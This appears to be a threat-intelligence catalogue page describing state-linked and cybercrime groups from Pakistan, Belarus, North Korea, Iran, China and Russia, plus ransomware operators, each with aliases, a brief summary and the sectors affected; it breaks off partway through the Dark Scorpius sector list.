Pictorial representation of APT groups from Pakistan. The silhouette of a dragon and the Draco constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Draco, the dragon, is the constellation chosen for threat actor groups from Pakistan. These groups have been seen targeting India and other South Asian countries.

Mocking Draco

Also Known As

G1008, sidecopy, unc2269, white dev 55

Summary

Mocking Draco is a Pakistan-based threat actor that has been operating since at least 2019, mainly targeting South Asian countries and more specifically India and Afghanistan. Their malware’s common name, Sidecopy, comes from its infection chain that tries to mimic the malware SideWinder. This actor has reported similarities with Opaque Draco and is possibly a subdivision of this actor.

Sectors Impacted

Mocking Draco has previously impacted organizations in the following sectors:

  • Government

Opaque Draco

Also Known As

APT36, C-Major, Cmajor, COPPER FIELDSTONE, Fast-Cargo, G0134, Green Halvidar, Havildar Team, Lapis, Mythic Leopard, ProjectM, Transparent Tribe

Summary

Opaque Draco is a Pakistan-based threat group that has been active since 2013. They primarily target Indian governmental, military and educational sectors.

Sectors Impacted

Opaque Draco has previously impacted organizations in the following sectors:

  • Education
  • Government
  • Military

Lynx – Belarus

Belarusian threat groups are named for the constellation Lynx.

White Lynx

Also Known As

Ghostwriter, Storm-0257, UNC1151

Summary

White Lynx is a nation-state threat actor assessed with high confidence to be linked with the Belarusian government. Their main focus is on countries neighboring Belarus, such as Ukraine, Lithuania, Latvia, Poland and Germany. Their targeting also includes Belarusian dissidents, media entities and journalists.

Sectors Impacted

White Lynx has previously impacted organizations in the following sectors:

  • Construction
  • Education
  • Federal Government
  • Healthcare
  • High Technology
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Wholesale and Retail

Pisces – North Korea

Threat actor groups attributed to North Korea are represented by the constellation Pisces. These groups have impacted many industries with a focus on cyberespionage and financial crime.

Jumpy Pisces

Also Known As

Andariel, Black Artemis, COVELLITE, Onyx Sleet, PLUTONIUM, Silent Chollima, Stonefly, UNC614, Lazarus, Lazarus Group

Summary

Jumpy Pisces is a nation-state threat actor associated with the notorious Lazarus Group and the Democratic People’s Republic of Korea (DPRK). Jumpy Pisces is believed to be a subgroup of the Lazarus group that branched out around 2013. The group has demonstrated a high degree of adaptability, complexity and technical expertise in its operations, with a focus on cyber espionage, financial crime and ransomware attacks.

Jumpy Pisces primarily targets South Korean entities with a variety of attack vectors, including spear phishing, watering hole attacks and supply chain attacks. They have been observed exploiting vulnerabilities in various software, including asset management programs and known but unpatched public services, to distribute its malware. The group also abuses legitimate software and proxy and tunneling tools for its malicious activities.

Sectors Impacted

Jumpy Pisces has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Financial Services
  • Government
  • Healthcare
  • IT Services
  • Manufacturing
  • Pharma and Life Sciences
  • Utilities and Energy

Slow Pisces

Also Known As

Dark River, DEV-0954, Jade Sleet, Storm-0954, Trader Traitor, TraderTraitor, UNC4899, Lazarus, Lazarus Group

Summary

Slow Pisces is North Korea's nation state threat group under Reconnaissance General Bureau (RGB) of DPRK. It's believed to be a spin-off from the Lazarus group with focus on financial gathering and crypto industry targeting goals. Their primary task since 2020 is generating revenue for the DPRK regime and they do so by targeting organizations that handle large volumes of cryptocurrency. They have reportedly stolen in excess of $1 billion in 2023 alone.

Secondary to revenue generation, Slow Pisces has also compromised aerospace, defense and industrial organizations, likely with the aim of espionage to advance DPRK’s military capabilities.

Sectors Impacted

Slow Pisces has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Cryptocurrency Industry
  • Financial Services
  • High Technology

Serpens – Iran

Iranian-attributed groups are named for the constellation Serpens, the snake. Our research on these groups highlights their targets and TTPs as they evolve.

Academic Serpens

Also Known As

COBALT DICKENS, DEV-0118, Mabna Institute, Silent Librarian, Yellow Nabu

Summary

Academic Serpens is a state-sponsored group active since at least 2013 that is attributed to Iran, which has traditionally focused on Middle Eastern targets and Nordic universities in the EU. Members of Academic Serpens are affiliated with the Iran-based Mabna Institute, which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC). They have targeted research and proprietary data at universities, government agencies and private sector companies worldwide. There has been a notable decrease in activity from this group since the international COVID crisis in 2020.

Sectors Impacted

Academic Serpens has previously impacted organizations in the following sectors:

  • Education
  • Government

Agent Serpens

Also Known As

Mint Sandstorm (Microsoft), Charming Kitten (Crowdstrike)

APT35, Ballistic Bobcat, Cobalt Illusion, Damselfly, Direfate, G0059, Greycatfish, Group 83, Iridium Group, ITG18, Magic Hound, Newscaster, Phosphorus, Saffron Rose, TA453, White Phosphorous, Yellow Garuda

Summary

Agent Serpens is a suspected nation-state threat actor the threat intelligence community attributes to Iran, with links to the Islamic Revolutionary Guard Corps (IRGC). It has been active since at least 2015.

Agent Serpens is known for sophisticated social engineering (especially spear phishing), malware development and persistent, adaptive tactics. The group uses a diverse and evolving toolkit to facilitate all stages of their attacks, from initial access to command and control (C2). This includes custom-developed backdoors like SnailResin, SlugResin and Sponsor, which the threat actors designed to be used for gaining persistent access and data exfiltration.

The group's arsenal also features credential harvesting kits such as GCollection and DWP, which enable the theft of email user accounts. Agonizing Serpens abuses legitimate tools like PowerShell to deploy tools like AnvilEcho, TAMECAT and CharmPower that enable malicious activities within compromised environments.

The group's use of Android malware like PINEFLOWER demonstrates an interest in mobile surveillance, likely for monitoring targets and gathering intelligence. Additionally, Agent Serpens incorporates readily available open-source tools like Mimikatz, Chisel and Plink to augment their capabilities and support different phases of their operations.

Sectors Impacted

Agent Serpens has previously impacted organizations in the following sectors:

  • Automotive
  • Civil Engineering
  • Colleges And Universities
  • Education
  • Federal Government
  • Financial Services
  • Healthcare
  • Higher Education
  • High Technology
  • Manufacturing
  • Media and Entertainment
  • Noncommercial
  • Research Organizations
  • Pharmaceutical and Life Sciences
  • Telecommunications

Agonizing Serpens

Also Known As

Pink Sandstrom (Microsoft), Spectral Kitten (CrowdStrike)

Agrius, Americium, Black Shadow, Blackshadow, Cobalt Shadow, Darkrypt, UNC2428, Yellow Dev 21

Summary

Agonizing Serpens is a suspected nation-state threat actor attributed to Iran. This group has primarily disrupted Israeli organizations since 2020, and is linked to attacks throughout the Middle East. The group’s modus operandi involves strategically exfiltrating sensitive data before deploying destructive ransomware and wiper malware to disrupt systems and cover their tracks. This group has targeted organizations in the education, technology and financial sectors.

Sectors Impacted

Agonizing Serpens has previously impacted organizations in the following sectors:

  • Education
  • Financial Services
  • Insurance
  • IT Services
  • Nonclassifiable Establishments
  • Professional and Legal Services
  • Wholesale and Retail

Boggy Serpens

Also Known As

Mango Sandstorm (Microsoft), Static Kitten (CrowdStrike)

Cobalt Ulster, Earth Vetala, G0069, Mercury, Muddywater, Seedworm, Temp.Zagros, Yellow Nix

Summary

Active since at least 2017, Boggy Serpens is an Iranian, state-sponsored, cyberespionage group that US Cyber Command has attributed to Iran’s Ministry of Intelligence and Security (MOIS).

The group’s primary objective is cyberespionage aligned with Iranian government interests. This includes intelligence gathering, operational disruption and responding to regional conflicts, particularly those involving Israel.

Sectors Impacted

Boggy Serpens has previously impacted organizations in the following sectors:

  • Financial Services
  • Healthcare
  • Insurance
  • Telecommunications
  • Transportation and Logistics

Devious Serpens

Also Known As

Cobalt Fireside, Curium, G1012, Imperial Kitten, Tortoiseshell, Yellow Liderc

Summary

Devious Serpens are an Iranian-based threat actor known for using social engineering tactics as well as malware that communicates via IMAP. Their attacks use watering hole attacks as well as their own controlled sites meant to impersonate employment opportunities that might interest their victims.

The malware that they have built often uses IMAP with specific email addresses for command and control (C2). With such tools, communication typically occurs via specific folders and message protocols on the C2 email address.

Sectors Impacted

Devious Serpens has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Information Technology Services

Evasive Serpens

Also Known As

Alibaba, APT34, Chrysene, Cobalt Gypsy, Crambus, Europium, G0049, Group 41, Hazel Sandstorm, Helix Kitten, IRN2, OilRig, Powbat, TEMP.Akapav, Twisted Kitten, Yossi

Summary

Evasive Serpens is a threat group Unit 42 discovered in May 2016. They are a nation-state threat group attributed to Iran. This threat group is extremely persistent and relies heavily on spear phishing as their initial attack vector. However, they have also been associated with other more complex attacks such as credential harvesting campaigns and DNS hijacking.

In their spear phishing attacks, Evasive Serpens preferred macro-enabled Microsoft Office (Word and Excel) documents to install their custom payloads that came as portable executables (PE), PowerShell and VBScripts. The group’s custom payloads frequently used DNS tunneling as a C2 channel.

Sectors Impacted

Evasive Serpens has previously impacted organizations in the following sectors:

  • Chemical Manufacturing
  • Financial Services
  • Government
  • Telecommunications
  • Utilities and Energy

Taurus – China

Chinese threat actor groups take their name from the constellation Taurus – the bull. Due to the long history and multiplicity of Chinese APTs, there is a lot to be discovered about these groups in our research archives.

Alloy Taurus

Also Known As

Granite Typhoon (Microsoft), Phantom Panda (CrowdStrike)

G0093, Gallium, Operation Soft Cell, Othorene, Red Dev 4

Summary

Alloy Taurus has been active since at least 2012 and is a suspected nation-state threat actor group attributed to China.

The group is known for its long-term cyberespionage campaigns, primarily targeting telecommunications companies, government entities and financial institutions across Southeast Asia, Europe and Africa. Their operations are characterized by multi-wave intrusions aimed at establishing persistent footholds within compromised networks.

Alloy Taurus gains initial access by exploiting vulnerabilities in internet-facing applications.

Alloy Taurus employs a range of custom and modified malware for multiple operating systems to enhance their espionage capabilities, move laterally and evade detection. This includes backdoors, web shells, credential harvesting tools as well as legitimate applications, such as VPN and remote management tools.

Sectors Impacted

Alloy Taurus has previously impacted organizations in the following sectors:

  • Federal Government
  • Financial Services
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics

Charging Taurus

Also Known As

Circle Typhoon, DEV-0322, TGR-STA-0027, Tilted Temple

Summary

Charging Taurus is a state-sponsored cyberespionage group attributed to China, active since 2021. The group's goal is to steal intellectual property aligned with China's national interests. The group is capable of exploiting undisclosed zero-day vulnerabilities. The group has a possible tie to Insidious Taurus.

Sectors Impacted

Charging Taurus has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Biotechnology
  • High Technology
  • Semiconductor Industry

Dicing Taurus

Also Known As

Jackpot Panda

Summary

Dicing Taurus is a state-sponsored group attributed to China. They focus on the illegal online gambling sector in Southeast Asia, particularly emphasizing data collection for monitoring and countering related activities in China. The i-Soon leak in February 2024 revealed that i-Soon was likely involved in Dicing Taurus's operations, along with the Ministry of Public Security of China.

The group is also responsible for distributing a trojanized installer for CloudChat, a chat application popular with Chinese-speaking illegal gambling communities in mainland China. The trojanized installer served from CloudChat’s website contained the first stage of a multi-step process.

Sectors Impacted

Dicing Taurus has previously impacted organizations in the following sectors:

  • Online Gambling
  • Software and Technology

Digging Taurus

Also Known As

BRONZE HIGHLAND, Daggerfly, Evasive Panda, StormBamboo

Summary

Digging Taurus is a suspected nation-state threat group attributed to China, which has been active since at least 2012. The group targets organizations from around the world, including those in Taiwan, Hong Kong, Mainland China, India and Africa. Their activities, including intelligence collection, align with Chinese interests. This group has targeted organizations with advanced malware frameworks like MgBot and CloudScout. They strategically use different initial access vectors, including supply-chain attacks and DNS poisoning.

Sectors Impacted

Digging Taurus has previously impacted organizations in the following sectors:

  • Computer Integrated Systems Design
  • Executive Offices
  • General Government Administration
  • Local Government
  • Nonprofit
  • Telecommunications

Insidious Taurus

Also Known As

BRONZE SILHOUETTE, DEV-0391, UNC3236, Vanguard Panda, Volt Typhoon, Voltzite, G1017

Summary

Insidious Taurus is a Chinese state-sponsored actor typically focusing on espionage and information gathering, active since 2021. Insidious Taurus evades detection by using various living-off-the-land (LotL) techniques, using in-built system tools to perform their objectives and blend in with regular system noise.

The actor leverages compromised small office/home office (SOHO) network devices as intermediate infrastructure to further obscure their activity. Insidious Taurus exploits vulnerabilities in internet-facing devices and systems as an initial access vector.

Sectors Impacted

Insidious Taurus has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Information Technology Services
  • Manufacturing
  • Telecommunications
  • Transportation and Logistics
  • Utilities

Jumper Taurus

Also Known As

APT40, BRONZE MOHAWK, Electric Panda, Gadolinium, Gingham Typhoon, IslandDreams, Kryptonite Panda, Ladon, Leviathon, Pickleworm, Red Ladon, TEMP.Jumper, TEMP.Periscope

Summary

Jumper Taurus is a state-sponsored cyberespionage group believed to be linked to the Chinese government. Active since at least 2013, the group has consistently demonstrated advanced tactics, techniques and procedures (TTPs), supporting China's strategic objectives in sensitive research or holding strategic geopolitical relationships.

The group's operations use phishing emails and exploit web server vulnerabilities for initial access. The group has shown a particular interest in maritime-related targets, those associated with China's naval modernization efforts and the Belt and Road Initiative.

Sectors Impacted

Jumper Taurus has previously impacted organizations in the following sectors:

  • Education
  • Financial Services
  • Government
  • Healthcare
  • Utilities and Energy

Nuclear Taurus

Also Known As

Bronze Vapor, Chimera, G0114, Red Charon, THORIUM, Tumbleweed Typhoon

Summary

Nuclear Taurus is a suspected nation-state threat actor attributed to China. Active since at least 2017, the group has consistently conducted stealthy, long-term intrusions into organizations, focusing on espionage operations targeting high-technology companies.

Sectors Impacted

Nuclear Taurus has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • High Technology
  • Semiconductor
  • Transportation and Logistics

Playful Taurus

Also Known As

Nylon Typhoon (Microsoft), Vixen Panda (CrowdStrike)

APT15, Backdoor Diplomacy, BRONZE PALACE, Buck09, Bumble Bee, G0004, Gref, Ke3chang, Mirage, Nickel, Playful Dragon, Red Hera, RoyalAPT

Summary

Playful Taurus is a Chinese state-sponsored threat actor with a history of cyber espionage activity dating back to at least 2010. Primarily targeting government entities, diplomatic organizations, and NGOs across Southeast Asia, Europe, and Latin America, Playful Taurus focuses on intelligence gathering and data exfiltration to support Chinese political and economic interests.

Sectors Impacted

Playful Taurus has previously impacted organizations in the following sectors:

  • Government
  • Nonprofits
  • Telecommunications

Sentinel Taurus

Also Known As

Earth Empusa, Evil Eye, EvilBamboo, Poison Carp

Summary

Sentinel Taurus is a state-sponsored threat group that has shown significant interest in Tibetan, Uyghur and Taiwanese targets. The group reportedly used spear phishing and watering hole techniques to deliver iOS and Android mobile malware payloads to their targets.

Sectors Impacted

Sentinel Taurus has previously impacted organizations in the following sectors:

  • Education
  • State and Local Government

Starchy Taurus

Pictorial representation of APT Starchy Taurus. The silhouette of a bull’s head and the Taurus constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

BARIUM, Winnti Group

Summary

Active since at least 2012, Starchy Taurus is a threat group that researchers have assessed as a Chinese state-sponsored espionage group that also conducts financially-motivated operations in over 14 countries.

Sectors Impacted

Starchy Taurus has previously impacted organizations in the following sectors:

  • Healthcare
  • Technology
  • Telecoms
  • Video games

Stately Taurus

Also Known As

Twill Typhoon (Microsoft), Mustang Panda (CrowdStrike)

Bronze Fillmore, BRONZE PRESIDENT, DEV-0117, Earth Preta, G0129, HoneyMyte, Luminous Moth, PKPLUG, Red Lich, RedDelta, TA416, Tantalum, TEMP.Hex

Summary

Stately Taurus is a nation-state threat actor attributed to China. The group has been active since at least 2012. Their campaigns are designed to gather sensitive information and exert political influence, aligning with Chinese state interests. This includes monitoring and influencing political developments in regions of strategic importance, such as the South China Sea and areas involved in the global 5G rollout.

Sectors Impacted

Stately Taurus has previously impacted organizations in the following sectors:

  • Education
  • Federal Government
  • Media and Entertainment
  • National Security
  • Professional and Legal services

Ursa – Russia

Pictorial representation of Russian threat actor groups. The silhouette of a bear and the Ursa constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Russian threat groups tracked by Unit 42 are named for the Ursa constellation. We report on these groups regularly and have a significant archive of material.

Cloaked Ursa

Pictorial representation of APT Cloaked Ursa. The side view of the face of a roaring bear and the Ursa constellation. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

Midnight Blizzard (Microsoft), Cozy Bear (CrowdStrike)

APT29, Backswimmer, Blue Kitsune, Blue Nova, Cozy, CozyDuke, Dark Halo, DEV-0473, Dukes, Eurostrike, G0016, Group 100, Hagensia, Iron Hemlock, Iron Ritual, Nobelium, Noblebaron, Office Monkeys, Office Space, Solarstorm, TAG-11, The Dukes, UAC-0029, UNC2452, UNC3524, YTTRIUM

Summary

Cloaked Ursa is a nation-state threat actor attributed to Russia's Foreign Intelligence Service (SVR) that has been active since at least 2008. This group targets government, diplomatic, and critical infrastructure entities worldwide across regions such as North America, Europe, and countries opposing Russian geopolitical objectives. Cloaked Ursa's primary focus is intelligence gathering and data exfiltration to support Russian foreign policy goals, gain strategic advantage in geopolitical conflicts, and monitor and disrupt the activities of perceived adversaries.

Sectors Impacted

Cloaked Ursa has previously impacted organizations in the following sectors:

  • Federal Government
  • Government
  • High Technology
  • Manufacturing
  • Utilities and Energy

Fighting Ursa

Pictorial representation of APT Fighting Ursa. The silhouette of a bear and the Ursa constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

APT28, Fancy Bear, G0007, Group 74, IRON TWILIGHT, Pawn Storm, PawnStorm, Sednit, SNAKEMACKEREL, Sofacy, STRONTIUM, Swallowtail, TG-4127, Threat Group-4127, Tsar Team, TsarTeam, UAC-0028

Summary

Fighting Ursa is a nation-state threat group attributed to Russia’s General Staff Main Intelligence Directorate (GRU), 85th special Service Centre (GTsSS) military intelligence Unit 26165. They are well known for their focus on targets of Russian interest, especially those of military interest. They are known as one of the two Russian groups that compromised the Democratic National Committee (DNC) and Democratic Congressional Campaign Committee (DCCC) during the 2016 election cycle.

Sectors Impacted

Fighting Ursa has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Education
  • Federal Government
  • Government
  • IT Services
  • Media
  • Telecommunications
  • Transportation
  • Transportation and Logistics
  • Utilities and Energy

Mythic Ursa

Also Known As

Blue Callisto, Callisto, Callisto Group, COLDRIVER, Dancing Salome, Grey Pro, IRON FRONTIER, Reuse Team, SEABORGIUM, Star Blizzard

Summary

Mythic Ursa is a Russian group linked to Russia’s “Centre 18” Federal Security Service (FSB) division, focused on credential harvesting from high-profile individuals. This group often uses fake accounts to establish rapport with their targets and eventually sends a phishing link to gather credentials. This group was last observed using custom malware in November 2022.

Sectors Impacted

Mythic Ursa has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Federal Government
  • Higher Education
  • International Affairs
  • Transportation and Logistics

Pensive Ursa

Pictorial representation of APT Pensive Ursa. The silhouette of a bear inside a purple and blue circle with some of its face hidden. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

Turla, Uroburos, Snake, BELUGASTURGEON, Boulder Bear, G0010, Group 88, IRON HUNTER, Iron Pioneer, Krypton, Minime, Popeye, Turla Team, Venomous Bear, Waterbug, White Atlas, WhiteBear, Witchcoven

Summary

Pensive Ursa is a Russian-based threat group operating since at least 2004, which is linked to Russia’s “Centre 18” Federal Security Service (FSB).

Sectors Impacted

Pensive Ursa has previously impacted organizations in the following sectors:

  • Defense Systems and Equipment
  • Education
  • Government
  • Healthcare
  • Nonprofit
  • Pharmaceutical Preparations
  • Research

Razing Ursa

Pictorial representation of APT Razing Ursa. The silhouette of a bear and the Ursa constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

BlackEnergy, Blue Echidna, Cyclops Blink, ELECTRUM, G0034, Grey Tornado, IRIDIUM, IRON VIKING, OlympicDestroyer, Quedagh, Sandworm, Sandworm Team, Telebots, UAC-0082, Voodoo Bear

Summary

Razing Ursa is a nation-state group attributed to a subgroup of the Russian General Staff Main Intelligence Directorate (GRU). They use spear phishing and vulnerabilities to access systems with the goal of espionage or destruction. This group's activities have targeted industrial control systems or use distributed denial of service (DDoS) attacks to disrupt critical infrastructure.

Sectors Impacted

Razing Ursa has previously impacted organizations in the following sectors:

  • Federal Government
  • Financial Services
  • Media and Entertainment
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy

Trident Ursa

Pictorial representation of APT Trident Ursa. The silhouette of a bear and an orange trident. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

Actinium, Armageddon, DEV-0157, G0047, Gamaredon Group, IRON TILDEN, Primitive Bear, Shuckworm, UAC-0010

Summary

Trident Ursa is a nation-state threat group that has been active since at least 2013. This group has targeted individuals likely related to the Ukrainian government and military and is likely the actor behind the 2015 Operation Armageddon that delivered remote access tools, such as UltraVNC and Remote Manipulator System (RMS). The group previously used commodity tools but began using custom-developed tools in 2016.

Sectors Impacted

Trident Ursa has previously impacted organizations in the following sectors:

  • Finance
  • Wholesale and Retail

Cybercrime Threat Actor Groups

Unit 42 considers the following groups to have a motivation that is primarily financial rather than political. There can be some political motivation for threat groups in this category, but we consider their main motivation to be perpetrating cybercrime. This category is split into two groups: cybercrime in general, and then ransomware.

Libra – Cybercrime

Cybercrime is represented by the constellation Libra – a fitting choice, using the imagery of scales of justice.

Bling Libra

Pictorial representation of APT Bling Libra. The silhouette of a set of scales and the Libra constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.

Also Known As

Shiny Hunters, ShinyCorp, ShinyHunters, UNC5537

Summary

Bling Libra is an extortionist group and data broker active since at least 2020. Initially operating on RaidForums, a key member now holds an administrative role on BreachForums.

The group publishes stolen data, particularly after failed extortion attempts, to bolster its reputation. Bling Libra targets industries worldwide, including telecommunications, financial services, entertainment and high technology, across the U.S., Europe, Asia, the Middle East and Latin America.

The group gains access through stolen credentials obtained via infostealer malware and phishing campaigns. Its tactics include exploiting unsecured cloud storage, weak security configurations, and using custom tools like FROSTBITE along with publicly available tools.

Sectors Impacted

Bling Libra has previously impacted organizations in the following sectors:

  • Financial Services
  • High Technology
  • Hospitality
  • Media and Entertainment
  • Real Estate
  • Telecommunications
  • Wholesale and Retail

Muddled Libra

Also Known As

Octo Tempest (Microsoft), Scattered Spider (CrowdStrike)

G1015, Roasted 0ktapus, Scatter Swine, Star Fraud, UNC3944

Summary

Muddled Libra is a financially motivated cyberthreat group active since at least May 2022.

The group is composed of English-speaking members, some as young as 16. The group initially engaged in SIM swapping and credential harvesting, primarily targeting individuals for cryptocurrency theft. They have since evolved their operations to include data theft and ransomware deployment, aiming to extort large organizations for financial gain. Primarily targeting U.S.-based companies, Muddled Libra has expanded its focus from telecommunications and business process outsourcing (BPO) sectors to a diverse range of industries such as retail, hospitality, gaming, manufacturing and financial services.

Sectors Impacted

Muddled Libra has previously impacted organizations in the following sectors:

  • High Technology
  • Hospitality
  • Media and Entertainment
  • Professional and Legal Services
  • Telecommunications

Scorpius – Ransomware

Ransomware groups get their naming convention from the constellation Scorpius, and are a frequent target of our research.

Ambitious Scorpius

Also Known As

ALPHV, BlackCat, blackcat_raas

Summary

Ambitious Scorpius is a RaaS group that uses multi-extortion, distributing BlackCat ransomware. The ransomware family was first observed in November 2021. The group is suspected to be of Russian origin and is a possible successor of DarkSide and BlackMatter. The group solicits for affiliates in known cybercrime forums, offering to allow them to keep 80-90% of the ransom payment.

A significant disruption by joint law enforcement in December 2023 appears to have dealt the group a significant blow. Despite actively listing new victims through February 2024, about 40% of the victims were smaller businesses rather than the high value targets usually seen.

Sectors Impacted

Ambitious Scorpius has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Agriculture
  • Construction
  • Education
  • Federal Government
  • Financial Services
  • Healthcare
  • High Technology
  • Hospitality
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Mining
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Bashful Scorpius

Also Known As

Nokoyawa

Summary

Bashful Scorpius ransomware group was first observed in February 2022, distributing Nokoyawa ransomware, which is potentially an evolution of Nemty and Karma ransomware. Bashful Scorpius uses a multi-extortion strategy, in which attackers demand payment both for a decryptor to restore access to encrypted files and for not disclosing stolen data.

This group distributes their ransomware payloads through various means, including third-party frameworks such as Cobalt Strike and phishing emails. The creators of Nokoyawa ransomware have repurposed functions from the leaked Babuk ransomware source code.

Ransomware operators using Nokoyawa ransomware wield a command set that allows them to exercise precise control over the execution and ultimate outcome of the infection. This further increases the threat’s effectiveness and potential damage.

Sectors Impacted

Bashful Scorpius has previously impacted organizations in the following sectors:

  • Agriculture
  • Construction
  • Education
  • Finance
  • Healthcare
  • High Technology
  • Nonprofits
  • Professional and Legal Services
  • State and Local Government
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Bitter Scorpius

Also Known As

BianLian, bianlian_group

Summary

Initially discovered in July 2022, Bitter Scorpius is a ransomware group that uses double-extortion (T1486, T1657). The group is known for being highly adaptable and quickly leverages newly disclosed vulnerabilities. They have been among the top ten most active ransomware groups since 2023.

Bitter Scorpius distributes the BianLian ransomware, which is written in the Go programming language. The group gains initial access by exploiting external-facing remote services (T1190, T1133) and using custom remote access malware to maintain persistence.

According to previous research, the threat actors appear technically sophisticated in compromising targeted networks but are likely inexperienced overall based on the following behaviors observed during investigations:

  • Mistakenly sends data from one victim to another
  • Possesses a relatively stable backdoor toolkit but an encryption tool that remains in active development, including an evolving ransom note
  • Maintains unreliable infrastructure, as stated through the group's admission on their Onion site

Sectors Impacted

Bitter Scorpius has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Agriculture
  • Construction
  • Education
  • Financial Services
  • Healthcare
  • High Technology
  • Hospitality
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Mining
  • Nonprofits
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Blustering Scorpius

Also Known As

Stormous

Summary

Blustering Scorpius is an Arabic-speaking cybercrime group that first appeared in 2021. They gained fame by exploiting tensions in the Russia-Ukraine war and targeting Western entities in 2022. They initially sought to specifically target entities in the U.S. but quickly began targeting entities based on global political tensions. While the group has claimed numerous attacks, they have also been accused of posting fake data or claiming attacks perpetrated by other groups.

Blustering Scorpius gains initial access via phishing, vulnerability exploits, remote data protocol (RDP), credential abuse and malvertising. They use X (Twitter) and Telegram to advertise their exploits and to reach their followers and affiliates. The group also uses social engineering to exploit emotions surrounding geopolitical tensions.

Blustering Scorpius began joint operations with GhostSec on July 13, 2023, which they announced via GhostSec’s Telegram channel. The two groups have gone on to jointly attack multiple entities in various countries and industries.

Sectors Impacted

Blustering Scorpius has previously impacted organizations in the following sectors:

  • Education
  • Financial Services
  • High Technology
  • Manufacturing
  • Media and Entertainment
  • Telecommunications
  • Utilities and Energy
  • Wholesale and Retail

Chubby Scorpius

Also Known As

Cl0p, CL0P

Summary

The Chubby Scorpius group, first observed in February 2019, is a financially motivated ransomware group known for its sophisticated operations and large-scale attacks using the Cl0P ransomware. They operate under a ransomware-as-a-service (RaaS) model, meaning they develop and maintain the ransomware while affiliates carry out the attacks.

In June 2021, six suspected members of the Cl0p ransomware gang were arrested in Ukraine during a series of raids conducted in and around Kyiv. Ukrainian law enforcement, working with investigators from South Korea and the United States, searched 21 homes and seized various devices including computers, smartphones and servers. They also confiscated approximately $184,000 USD in what is believed to be ransom payments.

Sectors Impacted

Chubby Scorpius has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Agriculture
  • Construction
  • Education
  • Financial Services
  • Healthcare
  • High Technology
  • Hospitality
  • Industrial Automation Industry
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Mining
  • Nonprofit
  • Pharma and Life Sciences
  • Professional and Legal Services
  • Real Estate
  • State and Local Government
  • Telecommunications
  • Transportation and Logistics
  • Utilities and Energy
  • Wholesale and Retail

Dapper Scorpius

Also Known As

BlackSuit

Summary

Dapper Scorpius is a ransomware group that emerged in early May 2023, distributing BlackSuit ransomware, impacting a broad range of organizations globally. This group is suspected to be the Ignoble Scorpius ransomware group (aka Royal Ransomware) rebranded.

Unlike many ransomware operations that use a RaaS model, Dapper Scorpius operates as a private group without affiliates, most likely composed of ex-Conti and ex-Ignoble Scorpius members. Dapper Scorpius employs a multifaceted distribution strategy that includes phishing campaigns, malicious email attachments, SEO poisoning and using loaders like GootLoader for deploying their ransomware payload.

Sectors Impacted

Dapper Scorpius has previously impacted organizations in the following sectors:

  • Construction
  • Education
  • Federal Government
  • Financial Services
  • Healthcare
  • High Technology
  • Insurance
  • Manufacturing
  • Media and Entertainment
  • Nonprofits
  • Real Estate
  • State and Local Government
  • Transportation and Logistics
  • Wholesale and Retail

Dark Scorpius

Also Known As

Storm-1811 (Microsoft), Curly Spider (CrowdStrike)

Black Basta, Black_Basta, BlackBasta, Cardina, UNC4393

Summary

Dark Scorpius is a financially motivated ransomware-as-a-service (RaaS) group, with suspected ties to the defunct Conti group. These two groups use similar tactics, techniques, procedures (TTPs) and infrastructure.

Dark Scorpius operations involve double extortion, encrypting data (T1486) and threatening public disclosure of sensitive information to coerce ransom payments (T1657). First observed in April 2022, they target critical infrastructure and high-profile organizations globally, causing significant disruptions and financial losses.

While Dark Scorpius has impacted organizations globally, their reported compromises skewed more toward developed countries such as the U.S., UK, Germany and Canada. While organizations in developed countries are most frequently targeted due to their potential for high-value payouts, this threat actor maintains an opportunistic approach, suggesting they will target any vulnerable organization if the opportunity for profit arises. The group avoids operations within the Commonwealth of Independent States, a common behavior observed in Russia-based groups.

As a RaaS group, Dark Scorpius has affiliates that leverage a wide set of TTPs to achieve their objectives. As such, what we capture in this report may differ from the activities they employ in future attacks.

The group exclusively uses the Black Basta ransomware for data encryption (T1486) after exfiltrating files with tools such as RClone (S1040, T1048, T1567).

Sectors Impacted

Dark Scorpius has previously impacted organizations in the following sectors:

  • Aerospace and Defense
  • Agriculture
  • Construction
  • Healthcare
